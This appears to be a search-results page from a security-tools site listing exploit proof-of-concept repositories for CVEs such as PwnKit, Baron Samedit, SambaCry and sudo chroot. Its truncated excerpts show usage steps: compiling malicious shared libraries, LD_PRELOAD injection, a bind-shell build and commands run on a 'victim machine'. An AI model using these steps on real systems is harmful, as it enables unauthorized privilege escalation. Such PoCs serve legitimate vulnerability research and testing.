629 matches found
CVE-2021-4034
Proof of Concept PoC: CVE-2021-4034 PwnKit Note: This repository and its content are part of a Final Degree Project FDP, created solely for educational purposes and academic research. Description This repository contains a proof of concept PoC for the CVE-2021-4034 vulnerability, also known as...
POC-IngressNightmare-CVE-2025-1974
POC de IngressNightmare CVE-2025-1974 Desarrollado a partir de: https://github.com/yoshino-s/CVE-2025-1974 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Hablar es barato, solo mira el código. Los detalles se pueden encontrar en...
CVE-2021-20294-POC
CVE-2021-20294-POC Jan 21 2023, Altin tin-z, github.com/tin-z Poc download and compile root@kitploit: wget https://ftp.gnu.org/gnu/binutils/binutils-2.35.tar.gz && tar -xzvf binutils-2.35.tar.gz cd binutils-2.35 && ./configure && make && cd .. gcc -shared -fPIC poc.c -o poc.so...
CVE-2017-7494_SambaCry
CVE-2017-7494 SambaCry Exploit Exploit SambaCry CVE-2017-7494 para explotar Samba bind shell sin Metasploit Si necesita cambiar el puerto, basta con cambiar la línea n.º 68 de bindshell-samba.c y recompilar: root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o...
CVE-2021-3156
CVE-2021-3156 PoC Introduction This is an exploit for the CVE-2021-3156 sudo vulnerability dubbed Baron Samedit by Qualys. Usage build: root@kitploit: $ make list targets: root@kitploit: $ ./sudo-hax-me-a-sandwich run: root@kitploit: $ ./sudo-hax-me-a-sandwich manual mode: root@kitploit: $...
CVE-2019-18276
To exploit the CVE-2019-18276 vulnerability, open this directory in a terminal and run the commands: cd ./demonstration ./make The commands to type in the virtual machine are: ./creationsecret.sh hacker ./exploit.sh 1000 enable -f ./libpwn.so asd cat /home/victime/.secret.txt...
CVE-2025-32463_PoC
CVE-2025-32463 NVD CVE-2025-32463 En la mayoría de los casos, GCC no está instalado por defecto en los servidores objetivo. Esta prueba de concepto proporciona una versión precompilada para garantizar que se pueda ejecutar de inmediato en los sistemas afectados. Uso 1. Compila el archivo...
IngressNightterror
IngressNightterror CVE-2025-1974 Overview This repository is my research on IngressNightmare vulnerability. It includes a vulnerable Ingress deploy files, exploit itself and shared object payload. CVE The list of CVE indexes: CVE-2025-1974 - Root vulnerability CVE-2025-24514 - auth-url annotation...
CVE-2024-48990
CVE-2024-48990 hello this is 0x3bs In victim machine: root@kitploit: set -e cd /tmp 1. Create the malicious module directory structure mkdir -p malicious/importlib in attacker machine to compile lib.c in attacker machine : root@kitploit: gcc -shared -fPIC -o exp.so lib.c and in vivtim machine : i...
CVE-2018-6574
CVE-2018-6574 POC Exploit POC For CVE-2018-6574 Compile 1. Create an exploit file with the following: root@kitploit: include include static void malicious attributeconstructor; void malicious system"COMMAND"; 2. Compile it: root@kitploit: gcc -shared -o exploit.so -fPIC exploit.c 3. Finally, you...
CVE-2017-7494
SambaCry CVE-2017-7494 Exploit CVE-2017-7494/SambaCry allows authenticated users to upload a shared library to a writeable folder, and perform execution attack using the upload libraries. Vulnerability explanation SambaCry is a path-validation vulnerability in how Samba handles named-pipe request...
CVE-2018-6574-go-get-RCE
CVE-2018-6574-Solution gcc -shared -o attack.so -fPIC attack.c...
pwnkit
CVE-2021-4034 Introduction This is an exploit for the CVE-2021-4034 vulnerability, aka pwnkit, which was discovered by Qualys. Usage Compilation root@kitploit: $ make or root@kitploit: $ gcc -o pwnkit.so -fPIC -shared pwnkit.c -Wl,-e,main Testing root@kitploit: $ make test or root@kitploit: $...
CVE-2023-1521
PoC root@kitploit: gcc -shared -o libpoc.so poc.c -fPIC export LDPRELOAD=fullpathtolibpoc.so sccache gcc foo.c -o foo...
sudo-chroot-CVE-2025-32463
DISCLAIMER This code is for educational and research purposes only. Do not use it on systems you do not own or have permission to test. The author is not responsible for any misuse, damage, or legal consequences resulting from the use of this code. sudo chroot PrivEsc PoC CVE-2025-32463 This is a...
xwiki__xwiki-commons_CVE-2022-24897_12-6-6
XWiki Commons XWiki Commons are technical libraries common to several other top level XWiki projects. These libraries can be used by projects outside of the XWiki ecosystem, are generic and not related to the wiki domain. XWiki Platform, XWiki Commons and XWiki Rendering are part of the XWiki.org...
CVE-2009-5147
CVE-2009-5147 and CVE-2015-7551 PoC to run it: root@kitploit: make foo export FOO=./foo.so ruby -v foo.rb with different versions of ruby you should get different results: root@kitploit: vpereira@kimura:/poc rvm use 2.1.7 vpereira@kimura:/poc ruby -v foo.rb ruby 2.1.7p400 2015-08-18 revision 5163...
linux_injector
linuxinjector A simple ptrace-less shared library injector for x64 Linux. Usage linuxinjector mode 1. normal dlopen 2. memfd + dlopen for injecting into containers 3. raw shellcode pid Target process id. Must have ptrace rights to it required for accessing /proc/$pid/mem. Not ptraced, so another...
pwnkit
CVE-2021-4034 Introduction This is an exploit for the CVE-2021-4034 vulnerability, aka pwnkit, which was discovered by Qualys. Usage Compilation root@kitploit: $ make or root@kitploit: $ gcc -o pwnkit.so -fPIC -shared pwnkit.c -Wl,-e,main Testing root@kitploit: $ make test or root@kitploit: $...